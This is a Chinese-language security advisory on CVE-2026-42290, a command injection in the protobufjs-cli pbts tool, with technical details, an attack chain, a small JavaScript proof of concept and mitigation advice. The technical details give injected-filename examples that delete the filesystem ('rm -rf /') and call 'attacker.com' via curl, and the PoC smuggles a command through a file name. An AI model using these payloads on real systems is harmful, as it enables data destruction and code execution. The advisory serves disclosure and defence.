IPBUF安全漏洞报告
English
CVE-2026-42290 CVSS 7.8 高危

CVE-2026-42290 protobufjs-cli命令注入漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-42290
漏洞类型
命令注入
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
protobufjs-cli

相关标签

命令注入RCEprotobufjs-cliCVE-2026-42290Node.js

漏洞概述

protobufjs-cli是protobuf.js的命令行扩展工具。在1.2.1和2.0.2版本之前,其pbts组件在调用JSDoc时存在严重的安全缺陷。程序通过将输入文件路径拼接到字符串中,并使用`child_process.exec`直接执行。由于该方式会调用系统Shell,如果文件名中包含Shell元字符(如分号、反引号等),这些字符将被Shell解析为命令而非普通参数。这允许攻击者在用户处理特定文件时,在底层系统上执行任意代码,严重影响系统的机密性、完整性和可用性。

技术细节

该漏洞的根源在于Node.js中`child_process.exec`函数的不当使用。`child_process.exec`并非直接执行程序,而是启动一个系统Shell(如bash或cmd.exe)来解析传入的命令字符串。在受影响的protobufjs-cli版本中,代码直接将用户提供的文件路径拼接到JSDoc的调用命令中,未进行任何转义或安全过滤。

攻击者利用此漏洞的路径相对特定但危害巨大。攻击者首先构造一个包含Shell元字符的恶意文件名,例如`normal.proto; rm -rf /`或`$(curl attacker.com)`。随后,攻击者诱导受害者下载该文件并在本地环境中运行`pbts`命令进行处理。当`pbts`执行时,Shell会将文件名中的元字符解释为命令分隔符或子命令注入,从而导致原始命令执行后,紧接着执行攻击者注入的任意系统命令。鉴于CVSS评分中AV:L(本地攻击向量),攻击通常需要结合社会工程学手段,诱骗具有系统访问权限的用户执行构建操作。一旦利用成功,攻击者即可获得当前用户的Shell权限,进而窃取数据、植入后门或破坏系统环境。

攻击链分析

STEP 1
步骤1:恶意文件准备
攻击者创建一个文件名包含Shell元字符(如分号、反引号或管道符)的文件,例如 `proto.js; whoami`。
STEP 2
步骤2:诱导用户交互
攻击者通过社会工程学手段(如发送代码库或项目文件),诱导受害者下载该文件并在本地运行 `pbts` 工具进行处理。
STEP 3
步骤3:命令拼接与执行
受害者运行 `pbts`,受影响的代码使用 `child_process.exec` 将文件名拼接到命令字符串中。
STEP 4
步骤4:Shell注入
系统Shell解析该命令字符串,将元字符解释为指令分隔符,导致在执行JSDoc的同时执行了攻击者注入的任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-42290: protobufjs-cli Command Injection // Description: This script demonstrates the vulnerability where filenames with shell metacharacters // lead to command execution when processed by the vulnerable 'pbts' tool. const fs = require('fs'); const { exec } = require('child_process'); // Step 1: Attacker creates a malicious filename containing shell metacharacters // The semicolon (;) acts as a command separator in Unix shells. const maliciousFilename = "safe_file.proto; echo 'VULNERABILITY_EXPLOITED' > /tmp/pwned.txt"; console.log(`[+] Attempting to create file with name: ${maliciousFilename}`); // Create a dummy file with the malicious name (Note: Some filesystems restrict special chars) try { fs.writeFileSync(maliciousFilename, "syntax = \"proto3\";"); console.log("[+] File created successfully."); } catch (err) { console.log("[-] Could not create file directly (OS restriction), but the logic remains the same."); } // Step 2: Simulate the vulnerable 'pbts' logic // The vulnerable code constructs the command string using the filename directly const command = `jsdoc ${maliciousFilename}`; console.log(`[!] Executing vulnerable command: ${command}`); // Step 3: Execution // In the real scenario, 'exec' passes this string to /bin/sh, executing both 'jsdoc' and 'echo' exec(command, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } if (stderr) { console.error(`Stderr: ${stderr}`); return; } console.log(`Output: ${stdout}`); });

影响范围

protobufjs-cli < 1.2.1
protobufjs-cli < 2.0.2

防御指南

临时缓解措施
如果无法立即升级,建议暂时停止使用 `pbts` 处理不受信任的文件路径,或者对输入的文件名进行严格的白名单验证,过滤掉所有Shell元字符(如 `;`, `&`, `|`, `$`, `()`, `<`, `>` 等)。开发者应修改代码,使用不启动Shell的函数(如 `child_process.execFile` 或 `child_process.spawn`)来替代 `child_process.exec`。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表